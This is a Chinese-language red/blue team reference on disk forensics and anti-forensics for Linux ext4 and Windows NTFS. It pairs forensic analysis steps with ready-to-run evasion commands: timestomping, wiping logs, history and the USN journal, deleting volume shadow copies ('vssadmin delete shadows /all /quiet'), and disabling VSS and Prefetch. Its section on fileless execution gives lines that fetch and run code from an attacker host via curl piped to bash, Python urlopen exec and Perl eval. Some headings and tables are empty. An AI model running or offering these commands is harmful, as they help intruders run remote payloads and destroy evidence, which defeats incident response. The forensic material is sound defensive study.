Disk Forensics Evasion

磁盘取证与反磁盘取证

双面视角：蓝队从磁盘中恢复证据 → 红队确保证据不可恢复

⛔ 深入参考

• Windows NTFS artifact 详解与清除方法 → references/ntfs-artifacts.md
• Linux ext4 取证与反取证 → references/linux-disk-forensics.md

---

Part A: 蓝队视角 — 磁盘取证

Phase 1: 证据获取

# 使用 dcfldd 完整镜像（含哈希校验）
dcfldd if=/dev/sdb of=/evidence/disk.dd \
  hash=sha256 hashlog=/evidence/disk.sha256 \
  bs=4096 conv=noerror,sync

# 使用 E01 格式（压缩+分片）
ewfacquire /dev/sdb -t /evidence/disk \
  -c deflate -S 2G -e "Case INC-2025"

# 验证完整性
sha256sum /evidence/disk.dd

Phase 2: 文件系统分析决策树

文件系统类型？
├─ NTFS (Windows) → MFT分析 / USN Journal / $LogFile
├─ ext4 (Linux) → inode / journal / superblock
├─ APFS (macOS) → diskutil / apfs_parser
└─ FAT32 (USB) → 简单文件表 / 簇分析

Phase 3: Windows NTFS 关键 Artifact

# Sleuth Kit 分析
fls -r -p /evidence/disk.dd        # 递归列出文件（含已删除）
icat /evidence/disk.dd <inode>     # 按 inode 提取文件内容
tsk_recover -r /evidence/disk.dd /output/  # 恢复已删除文件

# MFT 解析
python3 analyzeMFT.py -f \$MFT -o mft_output.csv

# 时间线生成
log2timeline.py /evidence/timeline.plaso /evidence/disk.dd
psort.py -o l2tcsv /evidence/timeline.plaso > timeline.csv

Phase 4: Linux ext4 关键 Artifact

---

Part B: 红队视角 — 反磁盘取证

策略 1: 安全删除（不可恢复）

# ⛔ 普通 rm 只删除 MFT 条目，数据仍在磁盘！

# Linux 安全删除
shred -vfz -n 3 target_file      # 多次覆写+零填充
srm -sz target_file               # 安全删除

# Windows 安全删除
cipher /w:C:\path\                # 覆写可用空间
sdelete -p 3 target_file          # Sysinternals 安全删除

# 内存文件系统操作（不触盘）
# Linux: 在 /dev/shm 或 tmpfs 操作
mkdir /dev/shm/.work && cd /dev/shm/.work
# Windows: 使用 Named Pipe / 内存 mapped file

策略 2: 时间戳篡改 (Timestomping / T1070.006)

# Linux: touch 修改 atime/mtime
touch -t 202301011200.00 malware.elf    # 伪装成旧文件
touch -r /bin/ls malware.elf            # 匹配合法文件时间

# Windows: PowerShell
$(Get-Item file.exe).CreationTime = "01/01/2023 12:00:00"
$(Get-Item file.exe).LastWriteTime = "01/01/2023 12:00:00"
$(Get-Item file.exe).LastAccessTime = "01/01/2023 12:00:00"

# ⛔ 注意：NTFS 有 4 组时间戳！
# $STANDARD_INFORMATION 的时间 → 上面的方法可改
# $FILE_NAME 的时间 → 只能通过 NTFS 底层操作修改
# 蓝队对比两组时间差异 → 发现 timestomping

策略 3: Artifact 清除清单

Windows 操作后清除：
├─ Prefetch → 删除 C:\Windows\Prefetch\TOOLNAME-*.pf
├─ Amcache → 删除注册表条目（需要 SYSTEM 权限）
├─ Shimcache → 内存中缓存，重启前修改注册表
├─ USN Journal → fsutil usn deletejournal /d C:
├─ Event Log → wevtutil cl Security/System/Application
├─ Recent/LNK → 删除 %APPDATA%\Microsoft\Windows\Recent\*
├─ Jump Lists → 删除 CustomDestinations\*
├─ $Recycle.Bin → 已手动删除就不进回收站
└─ Thumbcache → 删除 %LocalAppData%\Microsoft\Windows\Explorer\thumbcache*

Linux 操作后清除：
├─ .bash_history → unset HISTFILE 或 export HISTSIZE=0
├─ /var/log/ → 精准修改（不要清空，会被发现）
├─ wtmp/btmp → utmpdump → 编辑 → utmpdump -r
├─ auth.log → sed -i 删除特定行
├─ journal → journalctl --vacuum-time=1h
└─ /tmp/ 文件 → shred 后删除

策略 4: 最佳实践 — 从一开始减少痕迹

OPSEC 最优方案（预防 > 清除）：
├─ 工具不落盘 → 内存执行（反射加载/fileless）
├─ 使用 RAM 磁盘 → /dev/shm 或 tmpfs
├─ 操作前 unset HISTFILE → 不记录命令
├─ 使用 LOLBins → 不引入新文件
├─ 通过管道传输 → curl | python 不落盘
├─ 加密落盘文件 → 即使被发现也无法分析
└─ 最短驻留时间 → 用完即删

对照表：取证技术 vs 红队对策

Linux 磁盘取证与反取证

理解 ext4 文件系统 artifact 的位置和含义，以及红队如何减少/清除磁盘痕迹

---

一、Linux 文件系统 Artifacts

1.1 ext4 核心结构

ext4 文件系统关键 artifact:
├─ Superblock — 文件系统元数据（挂载次数、最后挂载时间、最后写入时间）
├─ Inode — 文件元数据（权限、时间戳、数据块指针）
│   每个文件/目录有唯一 inode
│   包含 4 组时间戳: atime, mtime, ctime, crtime (birth)
├─ Journal (jbd2) — 文件系统操作日志
│   记录元数据变更（部分模式也记录数据变更）
│   用于崩溃恢复，但也是取证重要来源
├─ Directory Entry — 文件名到 inode 的映射
│   删除文件只移除 directory entry，inode 和数据可能保留
└─ Extended Attributes (xattr) — 文件附加元数据
    安全上下文（SELinux）、ACL、用户自定义属性

1.2 Inode 时间戳

# 查看文件完整时间戳
stat filename
# 输出包含 Access, Modify, Change, Birth(创建) 时间

# 查看 inode 详情
debugfs -R "stat <inode_number>" /dev/sda1

# 重要: ctime 无法通过普通 API 修改
# ctime 在任何 inode 修改时自动更新
# 因此 touch 修改 mtime 时会同时更新 ctime
# → 蓝队检测: mtime 远早于 ctime → timestomping

1.3 /var/log/ 日志文件

1.4 /tmp/ 和 /dev/shm/ 痕迹

攻击者常用临时目录:
├─ /tmp/ — tmpfs 或磁盘
│   ├─ 重启后可能清除（取决于 tmpfs 配置）
│   ├─ 攻击者工具常落盘于此
│   └─ 文件名前缀 '.' 常用于隐藏
│
├─ /dev/shm/ — 共享内存（tmpfs）
│   ├─ 纯内存文件系统 → 重启后消失
│   ├─ 不留磁盘痕迹（不写入 ext4）
│   └─ 红队首选执行位置
│
└─ /run/ 和 /var/run/ — 运行时数据
    类似 tmpfs → 重启后消失

取证关注点:
├─ ls -la /tmp/ /dev/shm/ /var/tmp/ → 查找异常文件
├─ find /tmp -newer /tmp -mtime -7 → 最近 7 天修改的文件
├─ find /tmp -perm -111 → 可执行文件
└─ 检查 /tmp 中的 socket 文件 → 可能是 C2 通信

1.5 Bash History

命令历史文件:
├─ ~/.bash_history — Bash 默认
├─ ~/.zsh_history — Zsh
├─ ~/.sh_history — sh/ksh
├─ ~/.python_history — Python REPL
├─ ~/.mysql_history — MySQL 客户端
├─ ~/.psql_history — PostgreSQL 客户端
└─ ~/.node_repl_history — Node.js REPL

Bash History 配置:
├─ HISTFILE — 历史文件路径
├─ HISTSIZE — 内存中保留的命令数
├─ HISTFILESIZE — 文件中保留的命令数
├─ HISTCONTROL — 控制记录行为
│   ignorespace: 空格开头的命令不记录
│   ignoredups: 连续重复命令只记录一次
│   ignoreboth: 同时启用以上两个
└─ HISTTIMEFORMAT — 时间戳格式（如果设置了）

1.6 /proc/ 文件系统残留

/proc/ 是内存中的虚拟文件系统（不在磁盘上）
但实时取证（Live Response）时非常有价值:

/proc/[PID]/
├─ exe → 进程可执行文件路径（符号链接）
│   即使文件被删除，进程仍运行 → exe 显示 "(deleted)"
│   可通过 cp /proc/PID/exe /tmp/recovered 恢复文件
├─ cmdline → 完整命令行参数
├─ environ → 环境变量（可能包含密码/Token）
├─ fd/ → 打开的文件描述符
├─ maps → 内存映射（加载的库/文件）
├─ net/ → 网络连接信息
├─ cwd → 当前工作目录
└─ status → 进程状态（UID/GID/内存使用）

取证命令:
ls -la /proc/*/exe 2>/dev/null | grep deleted  # 已删除但仍运行的进程
cat /proc/*/cmdline | tr '\0' ' '               # 所有进程命令行

1.7 systemd Journal

# 查看所有日志
journalctl --no-pager

# 按时间范围
journalctl --since "2025-03-01" --until "2025-03-15"

# 按服务
journalctl -u sshd
journalctl -u cron

# 按优先级
journalctl -p err  # 只看错误及以上

# 导出为可分析格式
journalctl -o json > journal_export.json

# Journal 文件位置
# 持久化: /var/log/journal/<machine-id>/
# 非持久化: /run/log/journal/<machine-id>/（重启后消失）

1.8 Cron/At 历史

Cron 相关 artifact:
├─ /var/spool/cron/crontabs/<username> — 用户 crontab
├─ /etc/crontab — 系统 crontab
├─ /etc/cron.d/ — 系统 cron 目录
├─ /etc/cron.daily/ — 每日任务
├─ /etc/cron.hourly/ — 每小时任务
├─ /var/log/cron.log — Cron 执行日志
└─ /var/spool/at/ — at 任务

取证关注点:
├─ 新增的 crontab 条目 → 持久化
├─ 异常时间执行的任务 → C2 回连
├─ 调用网络命令的任务 → curl/wget/python reverse shell
└─ @reboot 条目 → 重启后持久化

1.9 用户 Home 目录 Artifacts

~/ 目录重要文件:
├─ .ssh/
│   ├─ authorized_keys — 攻击者添加的公钥（持久化）
│   ├─ known_hosts — SSH 连接过的主机
│   └─ config — SSH 配置（代理/跳板）
│
├─ .bashrc / .profile / .bash_profile
│   攻击者可能修改这些文件 → 每次登录执行恶意命令
│
├─ .gnupg/ — GPG 密钥
├─ .aws/ — AWS 凭据
├─ .kube/ — Kubernetes 配置
├─ .docker/ — Docker 配置
└─ .local/share/Trash/ — 回收站（GUI 删除）

---

二、分析工具

2.1 Sleuth Kit (TSK)

# 列出文件系统中所有文件（含已删除）
fls -r -p /path/to/image
# -r: 递归
# -p: 显示完整路径
# 已删除文件标记为 * 或 d/d

# 按 inode 提取文件内容
icat /path/to/image <inode_number> > recovered_file

# 生成时间线（bodyfile 格式）
fls -r -p -m "/" /path/to/image > bodyfile.txt
mactime -b bodyfile.txt > timeline.csv

# 查看文件系统信息
fsstat /path/to/image

# 查看 inode 详情
istat /path/to/image <inode_number>

# 搜索关键字
srch_strings /path/to/image | grep -i "password"

# 恢复所有已删除文件
tsk_recover -r /path/to/image /output_dir/

2.2 Autopsy

Autopsy — TSK 的 GUI 前端:
├─ 支持 E01/raw/vmdk 等格式
├─ 自动分析:
│   ├─ 文件恢复
│   ├─ 时间线分析
│   ├─ 关键字搜索
│   ├─ Hash 匹配（NSRL/自定义）
│   ├─ Web artifact 提取
│   └─ Email 提取
├─ 模块化 → 可扩展
└─ 适合大规模取证分析

2.3 debugfs

# 交互式 ext4 文件系统调试器
debugfs /dev/sda1

# 列出已删除的 inode
debugfs: lsdel

# 查看 inode 详情
debugfs: stat <inode>

# 导出文件（含已删除）
debugfs: dump <inode> /output/recovered_file

# 查看目录内容
debugfs: ls -l /tmp/

# 查看日志
debugfs: logdump

# ⛔ debugfs 也是红队工具 — 可直接修改 ctime!
# debugfs -w /dev/sda1
# debugfs: set_inode_field <inode> ctime 202001010000

2.4 extundelete / photorec

# extundelete — ext4 文件恢复
extundelete /dev/sda1 --restore-all
extundelete /dev/sda1 --restore-file path/to/file
extundelete /dev/sda1 --after 1609459200  # 指定时间后删除的

# photorec — 基于文件签名的恢复（跨文件系统）
photorec /dev/sda1
# 交互式选择恢复文件类型和输出目录
# 支持: jpg, png, pdf, doc, zip, elf, 等

# foremost — 类似 photorec
foremost -i /path/to/image -o /output_dir/

---

三、反取证技术（红队 OPSEC）

3.1 安全删除

# shred — 多次覆写文件内容
shred -vfz -n 3 target_file
# -v: 显示进度
# -f: 强制修改权限以允许写入
# -z: 最后一次用零填充（隐藏 shred 使用痕迹）
# -n 3: 覆写 3 次

# srm — 安全删除（需安装 secure-delete 包）
srm -sz target_file

# wipe — 另一个安全删除工具
wipe -f target_file

# 覆写可用空间（清除已删除文件的残留数据）
sfill -v /mount_point/

# dd 覆写
dd if=/dev/urandom of=target_file bs=4096
rm target_file

# ⛔ 注意: SSD/NVMe 上 shred 可能不完全有效
# SSD 有 wear leveling → 覆写可能写入新块
# 旧块数据仍可能通过固件级别读取
# 对策: SSD 使用 TRIM 命令 → fstrim / blkdiscard

3.2 Journal 清理

# ext4 journal 模式:
# journal (data=journal) → 数据和元数据都记录到 journal
# ordered (data=ordered) → 只记录元数据（默认）
# writeback (data=writeback) → 最少记录

# 查看当前 journal 模式
tune2fs -l /dev/sda1 | grep "Journal"
dumpe2fs /dev/sda1 | grep -i journal

# ⛔ 删除 journal（需要卸载文件系统）
umount /dev/sda1
tune2fs -O ^has_journal /dev/sda1
mount /dev/sda1 /mnt

# 清空 journal 内容（不删除 journal 功能）
# 通过大量写入填满 journal → 旧记录被覆盖
dd if=/dev/urandom of=/mnt/junk bs=1M count=100 && rm /mnt/junk

# ⛔ 风险: 删除 journal 会导致文件系统不一致风险增加
# 且管理员可能注意到 journal 消失

3.3 修改 atime/mtime/ctime

# 修改 atime 和 mtime（简单）
touch -t 202301011200.00 target_file    # 设置指定时间
touch -r /bin/ls target_file            # 匹配合法文件时间
touch -d "2023-01-01 12:00:00" target_file

# ⛔ ctime 无法通过 touch 修改
# ctime 在任何 inode 变更时自动更新

# 修改 ctime 的方法:
# 方法 1: debugfs（需要 root + 卸载分区）
umount /dev/sda1
debugfs -w /dev/sda1
debugfs: set_inode_field <inode> ctime 202301010000
debugfs: set_inode_field <inode> crtime 202301010000
# 重新挂载

# 方法 2: 修改系统时间（影响全局）
date -s "2023-01-01 12:00:00"
touch target_file  # ctime 现在是伪造的 2023 年时间
# 恢复正确时间
ntpdate pool.ntp.org

# 方法 3: 通过修改内核时间源（更隐蔽但复杂）

# 蓝队检测 timestomping:
# ├─ crtime > mtime → 逻辑异常（创建时间应最早）
# ├─ ctime ≠ mtime（当只修改了 mtime 不改 ctime）
# ├─ 时间精度异常（秒级精度缺少纳秒）
# └─ 对比 journal 记录与 inode 时间

3.4 In-memory Only Execution

# 方法 1: memfd_create — 内存中创建匿名文件
# Python 实现:
python3 -c "
import ctypes, os
libc = ctypes.CDLL('libc.so.6')
fd = libc.memfd_create(b'', 0)
os.write(fd, open('/path/to/payload', 'rb').read())
os.execve(f'/proc/self/fd/{fd}', ['payload'], os.environ)
"

# 方法 2: /dev/shm 执行（tmpfs，不写磁盘）
cp payload /dev/shm/.hidden
chmod +x /dev/shm/.hidden
/dev/shm/.hidden
rm /dev/shm/.hidden

# 方法 3: 管道执行（不落盘）
curl -s http://attacker/payload | bash
curl -s http://attacker/elf_payload | /dev/shm/.x; chmod +x /dev/shm/.x; /dev/shm/.x

# 方法 4: Python 内存执行
python3 -c "exec(__import__('urllib.request').request.urlopen('http://attacker/script.py').read())"

# 方法 5: Perl 内存执行
perl -e 'use LWP::Simple;eval(get("http://attacker/payload.pl"))'

3.5 History Evasion

# 方法 1: 禁用历史记录（当前会话）
unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0

# 方法 2: 不记录历史
set +o history

# 方法 3: 空格前缀（需要 HISTCONTROL=ignorespace）
 sensitive_command  # 前面有空格 → 不记录

# 方法 4: 删除特定历史记录
history -d <line_number>

# 方法 5: 清空所有历史
history -c && history -w

# 方法 6: 使用其他 shell（不记录到 .bash_history）
sh -c 'sensitive_command'

# 方法 7: 直接执行不通过 shell
python3 -c "import os; os.system('sensitive_command')"

# ⛔ 最佳实践: 操作前第一步就是 unset HISTFILE

3.6 Log Rotation 操控

# 利用 logrotate 机制:
# /etc/logrotate.conf 和 /etc/logrotate.d/ 定义轮转规则

# 手动触发轮转 → 当前日志被压缩归档 → 新文件开始
logrotate -f /etc/logrotate.conf

# 或只轮转特定日志
logrotate -f /etc/logrotate.d/rsyslog

# 效果:
# ├─ auth.log 被重命名为 auth.log.1 并压缩
# ├─ 新的空 auth.log 开始
# ├─ 如果 rotate 计数较小 → 旧日志被覆盖
# └─ 但轮转操作本身会被记录到 syslog

# 修改 logrotate 配置（持久化影响）
# 减少保留数量:
# /etc/logrotate.d/rsyslog:
# rotate 1  # 只保留 1 个归档（原来可能是 7）

3.7 tmpfs 利用

# tmpfs 挂载点不写入磁盘 → 重启后消失
# 默认 tmpfs 位置:
mount | grep tmpfs
# /dev/shm → 共享内存
# /run → 运行时数据
# /tmp → 某些系统将 /tmp 挂载为 tmpfs

# 在 tmpfs 中操作 → 不产生磁盘 artifact
mkdir -p /dev/shm/.workspace
cd /dev/shm/.workspace
# 所有操作在内存中进行
# 完成后清理
rm -rf /dev/shm/.workspace

# 创建自定义 tmpfs 挂载
mount -t tmpfs -o size=100m tmpfs /mnt/ramdisk
# 在 /mnt/ramdisk 中操作
# 用完卸载
umount /mnt/ramdisk

---

四、对照表

---

参考链接

• Sleuth Kit Documentation
• Autopsy Digital Forensics
• ext4 Filesystem Documentation
• Linux Forensics - SANS

Windows NTFS 取证 Artifact 详解

NTFS 文件系统在多个层面记录文件操作痕迹，蓝队据此重建攻击时间线，红队需逐一清除

---

一、$MFT (Master File Table)

NTFS 的核心元数据结构，每个文件/目录对应一条 MFT 记录（通常 1024 字节）。

1.1 MACE 时间戳

每条 MFT 记录包含 两组 时间戳，每组 4 个时间（共 8 个）：

两组时间戳存在于不同属性中：

1.2 Timestomping 检测（蓝队核心技术）

检测逻辑：对比 $SI 和 $FN 的时间戳
├─ 正常文件: $SI.Created ≈ $FN.Created（差异在秒级内）
├─ Timestomped: $SI.Created 远早于 $FN.Created
│   例: $SI.Created = 2020-01-01, $FN.Created = 2025-03-15
│   → 文件实际在 2025-03-15 创建，$SI 被篡改为 2020 年
├─ 另一个指标: $SI.Modified 早于 $FN.Created
│   → 逻辑上不可能（文件修改时间不能早于文件创建时间）
└─ 纳秒精度异常: $SI 时间的纳秒部分全为 0
    → 部分 timestomp 工具不设置纳秒位

1.3 MFT 分析工具

# MFTECmd（Eric Zimmerman 工具集） — 推荐
MFTECmd.exe -f C:\$MFT --csv output/ --csvf mft_parsed.csv

# analyzeMFT（Python）
python3 analyzeMFT.py -f \$MFT -o mft_output.csv -e

# 用 Sleuth Kit 提取 $MFT
icat /path/to/image 0 > extracted_mft

# Timeline Explorer 打开 CSV → 排序/过滤时间异常
# 重点关注: $SI Created vs $FN Created 差异 > 1小时的记录

1.4 红队: MFT 痕迹处理

限制：MFT 条目无法通过常规 API 删除记录，文件删除后 MFT 记录仍存在
├─ 策略 1: 不落盘 → 彻底避免 MFT 记录
├─ 策略 2: Timestomp $SI（简单但 $FN 不一致会暴露）
├─ 策略 3: 使用 SetMACE 等工具同时修改 $SI 和 $FN
│   需要内核级权限或直接操作 NTFS 扇区
├─ 策略 4: 将文件写入已有文件的 ADS（不产生新 MFT 条目）
└─ 策略 5: 操作后用 SDelete 覆写，MFT 条目标记为未使用
    但取证仍可恢复未使用条目！

---

二、$UsnJrnl (Update Sequence Number Journal)

NTFS 变更日志，记录文件系统上 所有文件/目录变更操作。位于 $Extend\$UsnJrnl 的 $J 数据流。

2.1 记录的操作类型

2.2 USN Journal 分析

# 提取 $UsnJrnl:$J（离线镜像）
# 使用 FTK Imager / icat 从镜像提取

# MFTECmd 解析（推荐）
MFTECmd.exe -f C:\$Extend\$UsnJrnl:$J --csv output/ --csvf usnjrnl.csv

# usn.py（Python）
python3 usn.py -f usnjrnl_extracted -o usn_output.csv

# fsutil（活系统查询，需管理员）
fsutil usn readjournal C: > usn_raw.txt
fsutil usn queryjournal C:    # 查看 Journal 状态

# ⛔ 取证关键：即使文件已被删除，USN Journal 仍然记录了
#   文件名、操作时间、父目录 MFT 引用
#   可以重建 "某个工具在某时被创建 → 执行 → 删除" 的完整链条

2.3 红队: USN Journal 清除

:: 删除整个 USN Journal（需管理员）
fsutil usn deletejournal /d C:

:: ⛔ 注意：删除 Journal 本身会被记录为异常事件
:: 且 SIEM 可能监控 fsutil 执行（EventID 4688）
:: 更隐蔽的方式：让 Journal 自然滚动覆盖（默认大小 32MB-64MB）
:: 大量写入无关文件 → 填满 Journal → 旧记录被覆盖

:: 查看 Journal 大小
fsutil usn queryjournal C:

---

三、Prefetch

Windows 预读取文件，记录程序执行信息。位于 C:\Windows\Prefetch\，格式为 <APPNAME>-<HASH>.pf。

3.1 Prefetch 包含的信息

3.2 Prefetch 分析工具

# PECmd（Eric Zimmerman） — 推荐
PECmd.exe -d C:\Windows\Prefetch\ --csv output/ --csvf prefetch.csv

# 分析单个 Prefetch 文件
PECmd.exe -f C:\Windows\Prefetch\MIMIKATZ.EXE-12345678.pf

# WinPrefetchView（NirSoft，GUI）
WinPrefetchView.exe

# Python: libscca
python3 -c "import pyccsa; # ..."

# ⛔ 取证关键：
# 即使攻击者删除了工具文件，Prefetch 仍记录执行事实
# 文件名哈希基于文件路径 → 不同路径的同名工具产生不同 .pf
# Win10 最多保存 1024 个 Prefetch 文件
# Win7 最多保存 128 个

3.3 红队: Prefetch 清除

:: 删除特定工具的 Prefetch
del C:\Windows\Prefetch\TOOLNAME*.pf

:: 删除所有 Prefetch（更可疑）
del C:\Windows\Prefetch\*.pf

:: 禁用 Prefetch（需重启生效，非常可疑）
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 0 /f

:: ⛔ 最佳策略：不使用独立 EXE → 反射加载/LOLBins → 不产生新 Prefetch
:: 注意：通过 rundll32.exe 执行 DLL 会产生 RUNDLL32.EXE 的 Prefetch
::       但 Prefetch 中的加载文件列表会包含你的 DLL 路径

---

四、Amcache

应用程序兼容性缓存，位于 C:\Windows\AppCompat\Programs\Amcache.hve（注册表 hive 文件）。

4.1 Amcache 记录的信息

4.2 分析工具

# AmcacheParser（Eric Zimmerman）
AmcacheParser.exe -f C:\Windows\AppCompat\Programs\Amcache.hve --csv output/ --csvf amcache.csv

# 也可直接在 Registry Explorer 中打开 Amcache.hve 浏览

# ⛔ 取证关键：
# Amcache 记录了 SHA1 → 即使删了文件也能确认恶意工具
# 时间精确到首次出现 → 锁定攻击时间窗口
# 配合 Prefetch → 首次执行(Amcache) + 最后8次执行(Prefetch)

4.3 红队: Amcache 清除

:: Amcache.hve 是活跃注册表，直接删除会失败
:: 方式 1: 通过注册表操作删除条目
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appcompat\Programs" /f

:: 方式 2: 离线修改（需停止相关服务或从 WinPE 操作）
:: 方式 3: 使用工具精确删除
:: GitHub: amcache_cleaner.py — 删除指定 SHA1 的记录

---

五、Shimcache (AppCompatCache)

应用程序兼容性缓存，存储在注册表 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache 中。

5.1 Shimcache 特点

关键区别：
├─ Shimcache 在内存中维护，关机/重启时才写入注册表
├─ 记录文件路径 + 最后修改时间 + （Win7）执行标志
├─ Win10: 不再记录执行标志，只记录文件"被操作系统注意到"
├─ 条目数量：Win10 最多 1024 条
└─ 新条目插入到列表头部 → 越靠前越新

5.2 分析

# AppCompatCacheParser（Eric Zimmerman）
AppCompatCacheParser.exe --csv output/ --csvf shimcache.csv

# ShimCacheParser（Mandiant）
python3 ShimCacheParser.py -i SYSTEM -o shimcache_output.csv

# ⛔ 取证要点：
# Shimcache 包含文件存在的证据，但不一定代表执行
# 配合 Prefetch/Amcache 交叉验证执行事实
# 关机前内存中的 Shimcache 数据最新 → 分析内存 dump 可获取未落盘的记录

5.3 红队: Shimcache 清除

:: Shimcache 在内存中，关机时写入注册表
:: 策略 1: 操作完成后不正常关机（直接断电/蓝屏）→ 内存中的新条目不写入注册表
:: 策略 2: 正常关机前修改注册表中的 AppCompatCache 值
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /v AppCompatCache /f

:: ⛔ 但这会删除所有 Shimcache → 非常可疑
:: 策略 3: 使用工具精确删除内存中 Shimcache 的特定条目（需内核操作）

---

六、LNK 文件与 Jump Lists

6.1 LNK 快捷方式文件

文件访问时自动生成，位于 %APPDATA%\Microsoft\Windows\Recent\。

LNK 文件记录：
├─ 目标文件的完整路径
├─ 目标文件的 MACE 时间戳
├─ 目标文件大小
├─ 所在卷的序列号和类型（本地/网络/可移动）
├─ 网络共享路径（如果从网络访问）
├─ 机器的 NetBIOS 名称（可用于确认来源主机）
└─ MAC 地址（嵌入在 Machine ID 的 Object ID 中）

6.2 Jump Lists

任务栏应用的最近文件记录，位于：

• 自动生成：%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\
• 手动固定：%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\

文件名格式：<AppID>.automaticDestinations-ms（实质是 OLE/CF 文件）

6.3 分析工具

# LECmd（LNK Explorer，Eric Zimmerman）
LECmd.exe -d "%APPDATA%\Microsoft\Windows\Recent" --csv output/ --csvf lnk.csv

# JLECmd（Jump List Explorer）
JLECmd.exe -d "%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations" --csv output/ --csvf jumplist.csv

# ⛔ 取证关键：
# LNK 记录了被访问文件的历史状态（时间戳、大小）
# 即使原始文件被删除，LNK 中仍保存了这些信息
# 网络共享 LNK → 横向移动证据（记录了目标主机名/IP）
# Jump List → 应用使用历史（哪个程序打开了哪些文件）

6.4 红队: LNK/JumpList 清除

:: 删除 Recent 文件夹
del /f /q "%APPDATA%\Microsoft\Windows\Recent\*"
del /f /q "%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*"
del /f /q "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*"

:: ⛔ 注意：资源管理器可能锁定这些文件
:: 使用 PowerShell 强制清理
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force -Recurse

---

七、$Recycle.Bin

回收站结构，每个用户 SID 对应一个子目录。

7.1 文件结构

C:\$Recycle.Bin\<USER_SID>\
├─ $IXXXXXX.ext    → 元数据文件（原始路径、删除时间、文件大小）
└─ $RXXXXXX.ext    → 实际文件内容（原始数据完整保留）

命名规则：$I 和 $R 后的随机字符相同，配对使用
例：$I2A3B4C.exe 对应 $R2A3B4C.exe

7.2 $I 文件结构（Win10+）

7.3 分析

# RBCmd（Eric Zimmerman）
RBCmd.exe -d "C:\$Recycle.Bin" --csv output/ --csvf recyclebin.csv

# 手动解析 $I 文件
python3 -c "
import struct, datetime
with open('\$I2A3B4C.exe', 'rb') as f:
    data = f.read()
    size = struct.unpack('<Q', data[8:16])[0]
    ts = struct.unpack('<Q', data[16:24])[0]
    # FILETIME to datetime
    dt = datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=ts//10)
    print(f'Size: {size}, Deleted: {dt}')
    # Win10 v2: filename at offset 0x1C
    name_len = struct.unpack('<I', data[24:28])[0]
    name = data[28:28+name_len*2].decode('utf-16-le')
    print(f'Original: {name}')
"

# ⛔ 取证关键：
# 攻击者 "del file.exe" 后文件进入回收站 → 完整内容可恢复
# $I 文件暴露原始路径和删除时间 → 精确时间线

7.4 红队: 回收站处理

:: Shift+Del 或 cmd 的 del 不经过回收站
:: 但通过资源管理器删除的默认进回收站

:: 清空回收站
rd /s /q C:\$Recycle.Bin

:: PowerShell 清空当前用户回收站
Clear-RecycleBin -Force

:: ⛔ 最佳实践：始终使用 cmd 的 del 或 Shift+Del
:: 或使用 SDelete 安全删除 → 不进回收站且覆写数据

---

八、VSS (Volume Shadow Copy)

卷影副本，Windows 自动创建的文件系统快照。

8.1 VSS 的取证价值

VSS 快照保存了创建时刻的完整文件系统状态：
├─ 已被攻击者删除的文件 → 在旧快照中可能仍然存在
├─ 被修改的注册表 → 对比快照前后差异
├─ 被清除的日志 → 旧快照中可能还有完整日志
├─ 时间线重建 → 多个快照 = 多个时间点的状态
└─ Ransomware → 加密前的快照 = 数据恢复

8.2 VSS 分析

:: 列出所有卷影副本
vssadmin list shadows

:: 创建符号链接访问卷影副本
mklink /d C:\shadow \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

:: 使用 vshadowinfo（libvshadow）
vshadowinfo /path/to/image

:: 使用 ShadowExplorer（GUI 工具）浏览/提取快照文件

# 取证工作站上挂载 VSS（Linux）
vshadowmount /path/to/image /mnt/vss/
ls /mnt/vss/   # 每个快照一个目录: vss1, vss2, ...
mount -o ro,loop /mnt/vss/vss1 /mnt/snapshot1/

# 对比不同快照
diff <(find /mnt/snapshot1/ -type f | sort) <(find /mnt/snapshot2/ -type f | sort)

# 从 VSS 恢复被删除的文件
cp /mnt/snapshot1/path/to/deleted_file /evidence/

8.3 红队: VSS 清除

:: 删除所有卷影副本（Ransomware 常用手法，非常可疑）
vssadmin delete shadows /all /quiet

:: 使用 WMI 删除
wmic shadowcopy delete

:: 使用 PowerShell
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }

:: 禁用 VSS 服务
sc stop VSS
sc config VSS start= disabled

:: ⛔ 注意：删除 VSS 会触发：
:: - EventID 7036（VSS 服务状态变更）
:: - Sysmon 进程创建事件（vssadmin.exe / wmic.exe）
:: - SIEM 可能有专门规则检测 "vssadmin delete shadows"

---

九、其他重要 Artifact

9.1 $LogFile

NTFS 事务日志，记录文件系统元数据变更。

# 提取 $LogFile
icat /path/to/image 2 > logfile_extracted

# LogFileParser 分析
python3 LogFileParser.py -f logfile_extracted -o logfile_output.csv

# 取证价值：可恢复最近的文件操作（即使 MFT 已被修改）
# 红队对策：无法直接清除活跃的 $LogFile

9.2 Thumbcache

缩略图缓存，位于 %LocalAppData%\Microsoft\Windows\Explorer\。

# thumbcache_*.db 文件（按分辨率分）
# Thumbcache Viewer 工具分析
# 取证价值：即使图片已删除，缩略图仍在缓存中

# 红队清除
del /f /q "%LocalAppData%\Microsoft\Windows\Explorer\thumbcache_*.db"

9.3 Windows Search Index

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb

# 使用 ESEDatabaseView（NirSoft）或 esedbexport 提取
esedbexport Windows.edb

# 搜索索引包含文件名/部分内容/属性 → 即使文件已删除也有记录

9.4 SRUM (System Resource Usage Monitor)

C:\Windows\System32\sru\SRUDB.dat

# SrumECmd（Eric Zimmerman）
SrumECmd.exe -f SRUDB.dat --csv output/

# 记录每个应用的网络使用量、CPU 时间、电量消耗
# 取证价值：C2 通信的网络流量统计（即使没有网络日志）

---

十、综合取证工作流

完整 Windows NTFS 取证时间线重建

# Step 1: 提取并解析所有 artifact
MFTECmd.exe -f \$MFT --csv output/
MFTECmd.exe -f \$UsnJrnl:\$J --csv output/
